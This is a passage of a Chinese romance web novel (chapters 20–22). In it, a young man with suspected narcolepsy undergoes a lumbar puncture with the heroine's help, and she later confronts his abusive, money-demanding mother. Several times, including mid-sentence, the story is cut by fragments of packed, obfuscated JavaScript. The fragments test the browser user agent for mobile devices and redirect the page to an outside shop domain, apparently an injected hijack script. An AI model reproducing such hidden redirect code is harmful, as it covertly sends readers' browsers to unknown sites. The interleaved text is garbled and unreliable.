l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16846312|190924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?!!齐小姐,齐小姐,司机大叔说的都是真的吗?!!” “呜呜呜我好感动啊……齐小姐你怎么这么好呜呜……我不配呜呜……是不是花了你很多钱啊……司机大叔你告诉我,我来付……齐小姐你想要什么,我来买……我,我不知道该怎么报答你呜呜呜……” 司机大叔笑:“别呜拉了小伙子!那还有假啊?我这么大岁数的人了,吃饱了撑的骗你?比金子还真的,就是真心咯!” 季玉尾巴都摇成螺旋桨了,眼睛亮晶晶的,缠着齐妙:“齐小姐,我想听你说……” 齐妙没想过自己有天会体验到一个头两个大的感觉,她的一句“不是男女朋友关系”的澄清早已被淹没在两位大嗓门里。 唯一幸运的是,季玉的高温退了不少,并且或许因为仍然沉浸在强烈的惊喜感之中,所以没有表现出对医院的抵触,反而欢天喜地,脚步雀跃。 来之前,齐妙以为只需要做核磁共振之类的检查,没想到还要抽血,甚至腰椎穿刺。 她从小身体就很好,常规体检健康,除此之外,她几乎没来过医院。“腰椎穿刺”这四个字,光是看一眼,就能想象到尖锐的疼痛。 齐妙听经常入院的亲戚抱怨过,这医院来一趟,没病都得给折腾出病来。她知道这话太情绪化,不够理智,但繁琐的检查容易使脆弱的病人心力交瘁。 她开始后悔。 发作性睡病罕见,不可治愈,终身服药。既然如此,还有必要强迫人来忍受痛苦,只为了得到一个无解的诊断结果吗? 齐妙停下脚步,迟疑着开口,尽量让自己看起来云淡风轻:“……要不还是算了吧,检查挺折腾人的。” 季玉看出她的担心,俯下身,温柔地注视着她的眼睛:“没关系的,齐小姐,我不怕痛。” “那改天吧,你今天身体不舒服。” “我很好,齐小姐放心。”季玉轻松地笑着,眉眼舒展,宽慰道:“如果确诊了的话,感觉反而会放下一大块石头呢。” 最终,和刚来时的位置对调,齐妙一言不发地跟着他走进问诊室。她了解自己,如果这次后悔,就没有下次了。 季玉好像突然之间变得无比稳重,明明被抽血的人是他,却丝毫不在意自己,反倒担心齐妙害怕,让她侧身不要看。 齐妙坚持陪同,摇摇头说没事。 针刺入皮肤前的瞬间,季玉伸手,轻轻遮住齐妙的双眼:“齐小姐抱歉,冒犯了。” 20. 覆盖悲伤的过往 齐妙重新戴上眼镜,动作慢条斯理:“先斩后奏的人真会觉得冒犯吗?” 刚抽完血的脸色有些惨白,浓密的眼睫低垂,在眼敛处投下乌青的阴影,季玉先是姿态很低地道歉,然后极小声辩解:“……对不起齐小姐,没有下次了,你不要讨厌我……但是,其实,不算先斩后奏,应该是……同时?” 齐妙漫不经心地瞥他一眼,余光中臂弯处的针眼还在滋滋往外冒血,她指了指棉花球:“按好,在这等着,三分钟内别拿开。” 季玉点头,身体不由自主跟着齐妙准备起身,被她冷冰冰的眼神制止后,垂头丧气地坐回座椅,又昂起脑袋、伸长脖颈,眼巴巴地目送她离开。 齐妙再回来时,手上多了只便利袋。她翻找出红盒牛奶,拆开吸管插上,递到季玉唇边。对方受宠若惊地睁大双眼,呆呆地望向她,一动不动。 “不喝吗?还是你要自己来?” 话音未落,季玉急忙含住吸管:“唔……好喝,甜甜的。” 齐妙继续投喂面包。 季玉平时吃东西很快,进食对他而言相当于填饱肚子的任务,越多越好,越快越好。这会儿一反常态,安静又斯文,他怀揣着惴惴不安的心事,贪恋这样静谧美好的时光,潜意识却觉得这一切都不该属于自己。 良久,他艰难开口:“……齐小姐,为什么?” 为什么对我这么好?为什么是我呢?是出于怜悯,还是一时新鲜?是一视同仁的善良,还是对他稍微有那么一点儿不同? “是我把你带来医院的,总得负起责任吧。” 预想之中的答案。 该知足的,可他的心像被撕成了好多瓣。 “我早已成年,做决定时也很清醒,齐小姐不用对我负责。” “好的,那我先走了。”齐妙放下东西,起身就离开,无视身后灼灼的视线和那些欲言又止,径直向前走。 季玉被留在原地,甚至来不及反应。 齐小姐生气了吗?还是终于卸下包袱可以松口气了?如果挽留,如果追过去的话,纠缠不休的,会给她造成困扰吧…… 他真没用。嘴巴哆嗦半天也没能发出任何一个音节,连追上齐小姐的勇气都没有……就像被冰冻在海底深渊的微生物,渺小、卑微,孤独。 后背贴着墙,季玉身形摇晃,无知无觉地滑下,蹲着缩起身子,双臂抱膝,头埋得很深,怀里还珍藏着便利袋。 不知多久后,他站起身,险些向旁侧歪倒,幸亏及时撑住墙面。甩了甩晕眩的头,季玉未做片刻停留,拿着预约过的检查单,一步一晃地走向某处。 检查室内,医生见他脸色苍白,以为他紧张害怕,便随口问了句:“一个人吗?没有家属陪同?” 哪想眼前患者的脸更白了,失魂落魄的模样:“……没有。” 医生边做准备工作,边指导:“先躺下吧,侧着蜷成虾状。不能乱动啊,第一针是麻醉,可能有点痛感,忍耐一下。” 季玉刚躺下就不住地发抖、冒冷汗、心跳加速,甚至开始耳鸣,眼前发黑。 身后的医生安慰道:“没什么可怕的,很快就过去了,别紧张,放轻松才能一次性成功。” “麻醉劲过了之后,可能有酸胀疼痛感,这是很正常的,如果出现特别不舒服的情况,要及时告诉医生……按压十五分钟后,无枕头平躺六小时,注意一定要平躺不能起身,恢复颅内压,不然到时候容易头痛很长时间。” 季玉始终一声不吭,死死咬牙硬撑。前两次抽取都没成功,他的右腿猛地抽搐打颤:“……时间太长了,不行,我要回去做晚饭……” 医生眼见不对,出声喊道:“家属帮忙按住。” 家属?可我是一个人呀……季玉昏沉中这么想着,抬手打算自己控制不听话的右腿,却触碰到柔嫩的皮肤。那只手先一步放在他腿上,隔着棉质面料,暖暖的温度仍源源不断地传来。 是,是齐小姐……全世界最好的齐小姐。 她面朝季玉坐下,与医生配合,帮助季玉完成腰椎穿刺。 医生抹了把汗,缓解气氛,笑着打趣:“嘿,家属一来,什么毛病都没了,心不慌,腿不抖,也不想着跑了。正好你们多聊聊,转移一下注意力,马上就结束了。” 然而,患者和患者家属双双沉默。一直到戳完针,给患者翻面铺平,才发现年轻小伙子眼角哗哗流下两行清泪,不仅如此,整张脸都湿淋淋的。 医生从未如此怀疑过自己的技术:“……不至于吧,我技术还没这么差吧。” “多喝水,有条件就喝点正常加盐的蛋汤……不要腰部用力,三天内腰部不能碰水,注意多休息。” 交代完其余事项,医生就离开了。 惨白疲累的脸上布满冷汗和泪水,季玉仍不安分地频频转头,幅度越来越大,望眼欲穿地盯着齐妙。后者端坐,翘起腿,双手抱臂:“医生刚刚叮嘱一定要平躺。再动一下,我就用胶带把你粘在床上。” 季玉虚弱地笑笑:“做什么都好,只要齐小姐还愿意理我就好。” “齐小姐没有走,我好开心。” 齐妙并不看他,态度冷淡:“开心什么?我是路过顺便举手之劳而已,其他病人需要帮助,我同样会去。” 季玉咬唇:“……不要。” “你说什么?” “这里都是男病人,力气很大,而且男女有别,齐小姐不方便的……万一,万一意外伤到你怎么办?万一有人非礼你怎么办?万一他借故赖上你怎么办?” “你也是男人,帮你还不是同样风险很大?” “……是的。所以齐小姐,如果我有任何让你不愉快地方,你可以随时惩罚我。” “惩罚?” “嗯嗯……比如,掐后颈,脖子后面凹下去的部分。拧胳膊,不过这个做起来可能会让齐小姐白白受累,不小心还容易扭伤。还是用手机敲脑袋比较方便,或者数据线……” 他说得非常认真,非常坦然,没有玩笑的意思,也没有害怕的神情,就只是简简单单讨论一个合理的解决方案。 明明丝毫未提及过往经历,齐妙却仿佛能窥见一二。理智告诉她,不该深思探究这番话里的经验来自怎样的不幸故事,更不该擅自暗暗填补他没说完的话和埋藏深处的心情。 她可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16874905|190924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是活菩萨。 所以,齐妙脸上的冷气不减,只说:“何必这么麻烦,眼不见心不烦才是最痛快的方式吧。” “……可以不要这种痛快的方式吗?”泛白的手指用力攥紧床沿,青筋爆起,季玉挣扎着,急急又戚戚,大颗冷汗从额角滑落:“因为我想见到齐小姐,为此甘愿付出我所拥有的一切,虽然我没什么拿得出手的……” “可是如果,如果齐小姐看见我心烦,请一定要告诉我原因!性格,举动,还是说错了什么话,只要你说,我都会改……如果讨厌的是这张脸,我可以蒙面的!” 其实,他在心里想的是,如果齐小姐真的讨厌他,看见他心烦,那他就去死好了啊。 连蒙面都想得出来……这人到底知不知道自己最大的优势在哪儿? 齐妙屈尊降贵地起身,挪一挪座椅,俯下身,靠近毛绒绒的脑袋。对方猛然受惊,平躺的身子下意识向后贴靠,活像砧板上小幅度扑腾的鱼。 对视的刹那,季玉的眼睛极快地眨巴眨巴,懵懂而纯真。齐妙随手抽了几张纸巾替他擦汗,动作温柔细致,有意无意地在额角周围打圈轻抚,接着是颈后,微微凹陷的位置,再后来是僵直的手臂。 季玉一动不敢动,屏住呼吸,丧失所有言语。他竭力分辨梦境与现实,听见齐小姐说:“放松。” 还听见她问:“疼吗?” 他深深吐息,略微带喘:“……不,不是的。” “齐小姐在,我不疼的。” 重新盖上薄毯,齐妙为他掖好被角,又喂了些温水,才缓缓开口:“我是问,曾经被手机敲过的脑袋,被掐的后颈,被拧的胳膊,还有被数据线打过的地方,疼不疼?” 或久远、或新鲜的记忆有的烙印在身体里面,成为丑陋的疤痕,顽固的旧疾,有的尘封于心底,化作阴雨时节的阵痛和自我唾弃的罪名。 其实,不止呢。妈妈有妈妈的打法,爸爸也有爸爸的打法,房内的、眼前的所有物件都能当作他们突然发作揍他发泄的辅助工具。拖鞋、手机、扇子、皮带、苍蝇拍、数据线、鸡毛掸子……爸爸更喜欢亲自上阵,扇耳光、打鼻子、掐脖子、踹肚子…… 有多久多久,没人问过他疼不疼?还是说他混乱的记忆里从来就没出现过这样的人……这样亲昵的关怀简直像小宝宝才有的尊贵待遇,季玉也就像那任性胡闹的孩童一般招架不住,一点点悲伤都如狂风暴雨似的,铺天盖地将他压垮。 每次都在齐小姐面前掉眼泪,好不争气。可是,可是啊,齐小姐这么这么温柔,任谁来了都抵抗不了吧…… 眼泪稀里哗啦地不停流淌,大脑来不及消化的情绪太多,季玉忍了又忍,怕齐小姐看见他的丑态,又怕齐小姐不愿意看他,整个人呜呜咽咽的:“……曾经疼,现在一点儿也不了。现在的我好幸福。” “因为齐小姐。” 有关眼前这个人的、预想之中的往事并没有听到,不想卖惨吗?还是不愿触及?齐妙支起下巴,指尖落在湿漉漉的脸颊上胡乱涂画:“我不是镇痛药,也没有止疼的功能。” “不过如果我在,你能好受点的话——我会陪你久一点喔。” 21. 不戴帽子的朋友 周一,回到工位。 梁辰邀请她共进午餐,齐妙婉拒。 老实说,最近这段时间一天拆成三天用,她差不多忘记还有这号人物的存在。另外,结束检查后,她已经答应季玉今后一起吃饭,没必要为一个男同事爽约。 当时,麻醉药效没管多久,很快季玉便难受得厉害,冷汗如雨下,整张脸毫无血色。他硬是不喊一句疼,也不说哪里不舒服,只独自忍耐着,侧头不住干呕,却什么都没吐出来,到最后虚弱得连抬起手指的力气都没有。 医生也是第一次见反应如此剧烈的患者,建议他闭目养神,最好能睡上一觉。他乖顺地应声,却始终牢牢盯着齐妙,连眨眼的频率都变慢放缓。 “不要勉强,明天请一天假,还有接下来一周别做饭了。”齐妙喂他喝水,不知不觉间用上了命令口吻:“没有商量的余地。” 前男友们经常评价她“不近人情”、“忽冷忽热”、“太过冷淡疏离”、“冷暴力”、“极度自我”、“当恋人还不如做朋友待遇好”,这些也是他们选择分手的理由。 其实,关于其中一部分的评价,齐妙是认可的,甚至满意的,比如“自我”这一点,她不认为有什么不好,而所谓的“极度自我”,不过是对方想要的太多却无法得到后气急败坏的攻击而已。甩锅是最轻松的。 还有,对待蠢货,保持心平气和已是不易,冷淡疏离是最贵重的礼貌。而没交往前,她也不知道这些人能犯蠢到何种地步。 顺便一提,当初被追求被告白的时候,齐妙问过理由,他们的说辞也差不多,偶尔有一两个新鲜的她忘了,不外乎什么独立冷静,有个性,能力强,脾气好,强势的一面也很有魅力之类的。 她问理由,并不是给他们打动自己的机会,而是好奇一个男人的喜欢,或者说求爱,能有多虚伪可笑。 她对交往这件事儿的态度随意,无性式,与其说是抱着探究人类情感学的想法,不如说是勉强当作无聊中的消遣,来者不拒,告白也好,分手也罢,她都答应。 齐妙原以为季玉要磨叽个半天,毕竟他宁愿不吃不喝不睡也要打两份工,看起来挺缺钱的,没想到对方没作迟疑一一应下,恐怕早被身体的不适闹得没精力反驳。 他只看了看时间,念叨:“不早了,齐小姐该吃晚饭了。” “嗯,等你睡着之后。”齐妙抬手,温柔地遮住他的双眼:“睡吧。” 指下细微的跳动像心脏的声音,齐妙轻笑:“季先生,冒犯了。” 随着她的一举一动,季玉的心乘坐跳楼机忽上忽下,惨白的脸上浮现两团可疑的红晕。黑暗中,他能感觉到齐小姐离得很近很近,淡淡的清香萦绕周围,像三月春风。她的手好软,温热的,贴在眼皮上好舒服。 他一面紧张得大气都不敢喘,一面难以抑制地失落。 齐小姐没有喊过他的名字,却常常提起阿星、小优,连“季先生”这种对陌生人的称呼也仅仅只有两次……是不是齐小姐不喜欢他的名字呢?当初是不是也该取个花名呢?啊,还是说因为太普通、太没存在感,其实齐小姐根本不记得他的名字……不敢喊齐小姐的名字是没有资格,没有齐小姐的恩准,而且随随便便喊女生名字很没礼貌,有套近乎的嫌疑……可是,齐小姐可以随便对待我的呀…… 齐妙没有这么丰富的内心世界,她只想着睡觉是最方便的修养方式,而眼下快速入睡可能有点难度。她不会什么摇篮曲,也不会讲睡前故事,她的睡眠质量一向不错,定时定点,早睡早起。 她想了想,半天憋出个令人发笑的哄睡方式:“闭上眼的时候,可以许愿。一觉醒来,愿望就能成真。” 编故事当然越脱离现实的越动人,但‘科学’二字就像到点吃饭一样,刻进她的生物本能,让她亲手破坏温情的幻想,修改补充后一句:“有可能。” 愿望有可能会实现。说不定呢。 “所以你要先说说看,你的愿望有什么?” 得先知道季玉的愿望。大大小小的,总有人为能实现的吧。 “愿望……我的愿望……”花瓣形状的唇歙动,季玉的声音闷闷的:“想和齐小姐一起吃饭。” 这么朴素的愿望,还需要许吗?齐妙不理解,但答应了, 昏昏沉沉睡过去前,季玉意识模糊,不小心嘟囔出耿耿于怀的心事:“……齐小姐,我是季玉。” 齐妙:“嗯。” “齐小姐,我是季玉。” “我知道。” “我……” “季玉。” 齐妙打断他喋喋不休的自我介绍。 这声呼唤如同关机按钮,季玉带着笑入睡,难得好眠。 按照约定,季玉周一请假,中午两人找个地方一起吃饭。齐妙在网上搜过相关帖子,知道腰椎穿刺后不是躺一会儿就能完全恢复的,许多人甚至很长一段时间站不起身,头晕想吐。 因此,她本来提议在季玉那儿点外卖就行,或者她在路上打包送过去,谁知季玉默默跑来街心公园干等,直到午饭时间才发来消息。 他以为齐妙在学校上课,却不知道她是哪所大学,只知道三次在这里偶遇,后来一起散步的地点也是这儿,就傻傻地过来碰运气。 “齐小姐上学好辛苦,中午时间不多,怎么能让你跑那么远?反正我很闲啦,一直躺着不舒服,就想散散步,走着走着就到这儿了。” 季玉身形单薄,看起来随时会被冬日狂风刮跑。没记错的话,他身上那件长款收腰风衣,就是茶楼那天穿的,秋季尚显清冷,十二月的天里简直是不知死活。 齐妙再往前回忆,两人间的狭小宿舍没有衣柜,为数不多的两三件西装外套就挂在晾衣架上,有的已经洗得明显褪色。 她想起今天上午新鲜出炉的,同事撰稿的标题《寒潮来袭,转发给冬季出门不戴帽子的朋友》,她们局里从上到下养生得无比统一,枸杞泡水保温杯,帽子围巾手套三件套,一个赛一个裹得像企鹅。 齐妙挺佩服,这人穿着库库灌风的薄外套,居然还能挺拔如竹,都不带打寒颤的,她光是远远一瞧就觉得美丽冻人,替他抖上一抖。 她快步走近,季玉比她更快,几乎飞奔而来,衣摆飘扬,笑容洋溢,灿烂得如同烈阳。 嗯,是没恢复好的烈阳,跌跌撞撞,差点儿一头栽倒。齐妙立在原地,伸手扶住他的腰,季玉腼腆地笑笑,害羞得染上绯红。 与沉浸少女漫情节的傻瓜不同,齐妙刚见面就一本正经地吓唬人:“寒潮来袭,冬天不戴帽子出门,脑袋会被冻炸出血喔。” 季玉果然瞪大双眼,面露难色,同样语出惊人:“……大概多久呢?我不要在齐小姐面前出丑。” “……这明显不是出丑的问题吧。”齐妙说着,一圈圈卸下羊毛围巾,她里面还有一层高领毛衣,有没有围巾其实无所谓。 又长又宽又厚实的围巾,尺寸几乎可以当披肩,保暖效果非常好。 齐妙随手整理一番,抓住两边,抬眼伸手,意思明显,结果季玉只是低下脑袋,眨巴着眼睛看她。他习惯性躬背弯腰,低垂脑袋,与她平视,或仰视她。 倒省得齐妙踮脚,她直接利落地把人套过来,一圈一圈围上围巾,不松不紧,羊毛材质也不会扎脖子。 季玉缩了缩脑袋,满脸不知所措,语言系统紊乱:“……齐齐齐小姐,我我我……” 齐妙不管他结结巴巴的,甚至现在已经有些习以为常他动不动脸红害羞。她忙着收尾,摸了摸围巾两端,给他演示:“你看,风大的时候,这样挡耳朵,还能护住脑袋。” “嗯嗯,嗯嗯,谢谢齐小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16882486|190924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐,之后我会清洗干净再还的。”他按照她教的认真照做,寻求肯定般望向齐妙。 “不用还……” 没等齐妙说完,陌生的女人声音闯入。 “我说我的宝贝儿子去哪儿了,原来是有了女人忘了娘啊。” 齐妙的记性不错,一眼认出她是季玉的母亲,当然对方出众的相貌的确辨识度很高。她似乎偏爱红色,张扬的红唇和红裙,红如丹蔻的指甲,衬得她妩媚生艳,风情万种。 与茶楼那天同样的一红一黑,齐妙却敏锐地发现,季玉母亲身上这条长裙和上次的款式不同,单从衣料剪裁来看就价格不低。 “小玉,听说你不在酒吧卖酒了?那怎么行,唱歌又赚不了多少钱……” 母亲的戏码季玉很清楚,他不想浪费时间,径直挡在齐妙身前:“妈,你为什么会在这?” “妈妈又不会吃人,你这么紧张干嘛呀?”姚雪盈盈一笑走上前,长指甲漫不经心地划过季玉的脸颊:“好久不见宝贝,当然是想你了呀,小优那个乖孩子说你现在白天都在这里的便利店打工呢。” 她既然知道季玉工作的酒吧,随便打听一下,自然能知晓他们的住所。小优淳朴,脑子里不懂什么弯弯绕绕,只知道她是季玉的母亲,不管母子关系如何,他都一五一十地交代给姚雪。 “我看呐,便利店的工作是幌子吧?”尖锐的指甲越陷越深,姚雪眉目上挑,美眸转向被季玉护得严严实实的姑娘,玩味地调侃:“这位是包养你的有钱小姐,还是玩弄你的坏女人?” 季玉越小心护着不让看,姚雪便越是要看。意外的是儿子在前,护得跟老鹰捉小鸡里的母鸡似的紧,那姑娘却慢慢悠悠自己走出来,到一旁长椅上安然坐下。 即便对上她的眼睛,对方也丝毫不慌不乱不躲闪,冷淡得仿佛目空一切,更准确来说像眼前压根没她这人一样。 她当这姑娘是何等娇俏美人,没想到看上去实在太过寡淡平凡,别说与她相比,就是放人群里擦肩而过,她都不会多看一眼。她这蠢儿子,被如此普通的女孩迷得神魂颠倒,还不如那什么乡下来的小优。 季玉全然不知电光火石之间的交锋,他的脸色霎时冷下来,愤然道:“妈!你怎么能随口造谣?齐小姐是非常善良的好人,平时乐于助人而已。请您放尊重些,不要曲解和污蔑,快向齐小姐道歉!” “宝贝,你这样说妈妈,妈妈好伤心。”姚雪蹙起眉头,佯装要落泪,抬手勾了勾围巾:“随口造谣?你护着她,人家却根本不领情,也不在乎你分毫,舒舒服服地坐那儿呢!如果不是这个坏女人把你迷得晕头转向,你怎么忍心指责妈妈呢?你还年轻,别被她骗了!这条围巾,很贵吧……” “别碰我!”担心围巾被她的指甲勾扯,季玉猛地后退,急声喊道:“齐小姐不是坏女人!错就是错,你必须向她道歉,否则从此以后,我不会再给你钱。” 母亲的所有,巧言令色、威逼利诱还是糖衣炮弹,不过都是为了找他要钱。 得知齐妙早早坐下后,季玉反而松一口气,脱下外套就要递给她当坐垫:“齐小姐冷不冷?我这里很快就好,我们马上去……” 姚雪万万没想到季玉居然拿此威胁她,就为了让她向一个晚辈道歉!而且这不值钱的丢人儿子还上赶着热脸贴冷屁股! 她当即翻了脸,眼冒火光,指着他鼻子骂混蛋骂畜生,骂到最后见那坏女人啪啪啪地几下拍打已经脱掉外套的季玉,怒极反笑:“看见了吧?这就是你做舔狗的下场!除了妈妈外,根本不会有人爱你……” 然而,舔狗儿子什么都没听进去,反而笑靥如花,浑身上下充溢着一种应该称之为幸福的味道。 姚雪定睛一看,原来那坏女人在往季玉身上贴暖宝宝,不要钱似的到处贴,还教训他不要总是随便脱外套。 22. 文质彬彬的棉花 姚雪气急败坏地连连咳嗽,试图引回注意,齐妙的反应却很浅,像砸不出水花的镜面,只问季玉:“聊完了吗?” “很快……”季玉轻言细语的,转头秒变严肃脸:“妈!道歉。” “别喊我妈!复读机吗你?!连亲妈都不管的混蛋儿子肯定不是我生的!” “向不向我道歉的无所谓,她的话不会对我造成任何影响,她的道歉对我而言也毫无价值。”这时,齐妙站起身,一步步向姚雪走近,淡淡地凝着她,眼神平静无波:“你最应该的,是向季玉道歉。” 姚雪还从未遇见过这样奇怪的女人,明明看着一副好欺负的呆学生样,年纪又轻,能有多大能耐和见识,居然有种不怒自威的冰冷气场。见了她不但没有对长辈的礼貌客气,也没有拘谨讨好,简直把她当透明的。 还有,不光脸上没找到一丝即将发怒变狠的迹象,就连说话都心平气和的,不急不缓,莫名其妙就让人觉得输了,感到非常挫败,大概类似于一拳打在文质彬彬但没一句好话的棉花上。 姚雪越琢磨越生气,翻了个白眼,振振有词:“哼,笑话,我凭什么跟小畜生道歉?!还有你这个狐狸精,别以为说几句好听的,就能攥紧他了!我告诉你,他现在是一时被你忽悠住了,要不了多久清醒了还不是乖乖听我的?” 季玉立马急了,他不在乎姚雪如何辱骂指责自己,他在意的是:“你不要再骂齐小姐!她不是……” 齐妙摆摆手,拦下他,问姚雪:“你确定要跟我争论吗?” 她抬眼看了下时间,眉间不耐的神情一闪而过:“首先说明,在我的观念里,不是所有年长者都值得尊重。所以别浪费口舌拿你的那一套指责我,没有用处。当然,如果你实在太闲,请便。” “不分青红皂白,当众辱骂孩子,你留指甲不是为了美观自我欣赏,而是为了伤害折磨漂亮的脸吗?没记错的话,上次酒吧门口,人来人往的地方,你还打了他一巴掌吧?从大家的反应来看,你应该不是第一次这样粗暴对待自己的儿子吧。其实,可能他什么都没做错,而你只想借此发泄个人情绪,让他承担你的怒火,让他痛苦,让他难堪,让他煎熬。” “身体发肤受之父母,你真是他的母亲吗?他有时候会突然晕倒睡着,你不可能不知道吧,为什么长久以来都没有带他去医院检查过?他为什么会高中退学打工,这其中家庭因素占多少,你比我清楚。伤心过度会发烧是一种情绪性发作,如果不是遭遇过深刻的打击,身体不会留下创伤记忆,哦,你应该根本没有在意过。” “他生病意识昏沉的时候,说妈妈曾说他脑子进水,只长个子不长脑子,这种不知道有多少的、看似不经意的细微打压会一点点摧毁孩子脆弱的内心世界,给他打上标签,让他自我谴责唾弃。明明年纪轻轻,胃病却很严重,长这么高却瘦得过分,你有没有关心过他吃得好不好,穿得暖不暖,有没有哪里不舒服?” 一次性把话说完是最好的,利落干净。齐妙一向反感纠缠的人,不愿意掺合别人的家事,但事已至此,她也没有忍耐退让的道理。 “我的话说完了,你还有要补充的吗?如果有哪里说的与事实不符,请你及时指出来。如果没有,请你至少现在就向他道歉。” 姚雪一时没能反应过来,半天吐不出一个字。她也算身经百战,上至触霉头的老东西下至嚼舌根的毒辣泼妇,什么样的吐沫星子她没见过,什么样的诅咒没被她们弹来弹去,更有骂着骂着直接薅头发扇耳光舞菜刀的。 此刻,不得不承认,她被接二连三平静的话语敲得头脑稀昏,哦,对了,还有一些什么“辱骂”、“粗暴对待”、“情绪性发作”、“创伤记忆”之类的听起来挺文明高深的词儿。这坏女人看着倒还是个上学的年纪,不会只是长得显嫩,其实已经当老师了吧?还是什么科的医生? 姚雪还在胡思乱想,绞尽脑汁地组织语言,又被那讨厌的声音打断思路,她听见齐妙说:“现在是哭的时候吗?” “算了,哭吧,想哭就哭。” 她确信自己不可能流泪,一看果然是那没出息的儿子!老实说,她已经有很多年没见过季玉的眼泪了,上一次,恐怕还是他小不点的时候。 姚雪想着,也就顺口说了出来,她嘴皮子不算利索,但挑季玉的毛病是一把好手:“这么大的个子哭哭啼啼的算什么?在坏女人面前哭能骗到钱吗?人家能把你骗得一毛钱不剩,你还屁颠颠给人数钱!挨打挨骂的时候不是一声不吭吗?这会儿谁也没怎么着你,倒是先委屈上了!一点男子汉气概没有,迟早也是被甩掉的货!” 齐妙明白了。 眼前这个张牙舞爪的女人实实在在地讨厌季玉,或者说嫌恶。 原来再美的皮囊,也遮掩不了丑陋的内心。 尖锐的难听的话一句一句撞上耳膜,像无数把淬毒的利刃刺穿头颅,疼得他想呕吐。已经够狼狈,够难堪的了,不能再晕倒,给齐小姐添麻烦……季玉极力平复呼吸,稳定心神,抖着手翻找出药瓶,急切地往嘴巴里塞药片。 他流泪,是因为第一次有人坚定地站在他这边,为了他据理力争,而那个人是齐小姐。泪水就是会在这样的时刻,理所当然地,无比荣幸地倾泻而出啊。 他愚笨、迟钝,但他听得懂齐小姐话里话外的维护和关心,他要把每一句话都嚼烂,珍藏于心。 他还记得不能弄脏脖子上齐小姐的围巾,刚要解下来就被她阻止:“气温零下时掉眼泪还不注意保暖的话,泪水就会迅速凝固结冰,清理不好得磨坏一层皮呢。你摘吧,就是可惜这张脸了。” 齐妙唬弄人的本事日益剧增。 效果立竿见影。受骗人毫不怀疑,就是脑回路太清奇。 季玉呆滞了好几秒钟,紧了紧围巾,犹豫不安的:“可是,我不想弄脏齐小姐的东西……还是让我的脸烂掉吧!” “不行,你的脸很珍贵。”齐妙找出纸巾,柔柔地替他擦拭:“不介意的话,这条围巾就归你了。一开始我就是这么打算的。” “齐小姐……”他什么话都说不出,眼泪倒是流个不停。 “哭得这么可怜,别人见了还以为我欺负你呢。” “才不是……长眼睛的都看得出齐小姐是大好人。” “嗤,装模作样!真是一个敢演一个敢信啊,谁会可怜你这么没出息的东西?!”姚雪嗤笑,不间断地发起攻击:“别想着岔开话题,快把钱给我!辛辛苦苦把你养大,都不知道孝敬老娘的,每次还要我亲自来拿钱!你养老娘天经地义!这个月都几号了?少了份工作还不知道以后能赚几个钱…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16907591|190924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “吃药了?”齐妙抽空问季玉。 检查结果出得很快,发作性睡病。无法根治,只能用药物控制和改善,多锻炼,保持愉悦平缓的心情。 季玉含着泪点点头。 齐妙了然:“嗯,尽量少吃少激动,还有下次不要空腹吃药。” 她再次看向时间,不多废话,只说重点:“我对别人的家事没有兴趣,也管不着季玉是否要给你钱。不过,你浪费了我的午休时间,就必须听我的话,乖乖向他道歉。如果你不肯,我可以把他藏起来,让你永远都找不到喔。” “比如,海外?到时候你再也见不到季玉,他也不必赡养没有履行抚养义务的父母。你觉得如何呢?” 恶劣的,坏脾气的,还有些老古板,她不是没遇到过。棘手的问题,麻烦的人,都需要一针见血地直击要害。 不愿意插手他人之事是因为深陷其中的人未必真的需要外部援助,有时候他们只是想不开,放不下而已。 而今时今地,面对季玉,齐妙却笃信,无论她说什么做什么,这家伙都会听话点头。她还从未对一个人产生这般没来由的信任,甚至两人相处的时间并不算长。这很危险,也很新奇,她自愿继续探究。 姚雪找季玉的唯一目的不过要钱而已。早年男人跑了,她染上酒瘾,爱花花绿绿的人间天堂,也爱做些一夜乍富的美梦,沉浸在声色犬马之中,久而久之再无法自拔,一半积蓄被骗,另一半则输了个精光。 后来,她想起了自己早早丢掉的拖油瓶,虽然那废物没什么本事,但光凭那张脸,随便捞点钱还不是轻轻松松?果然,人不会一直倒霉,偶然之下她发现季玉。 一开始,她还编造各式各样的理由向他借钱,在对方的予取予求下,姚雪变本加厉,干脆缺钱的时候就来找他要。直到今日,季玉身旁多了个不显山不露水的精明坏女人。 姚雪没读过什么书,或许无知,但不是傻子,男女之事经历的最多。她第一眼就看出季玉对这个女人不一般,不一般的喜欢。 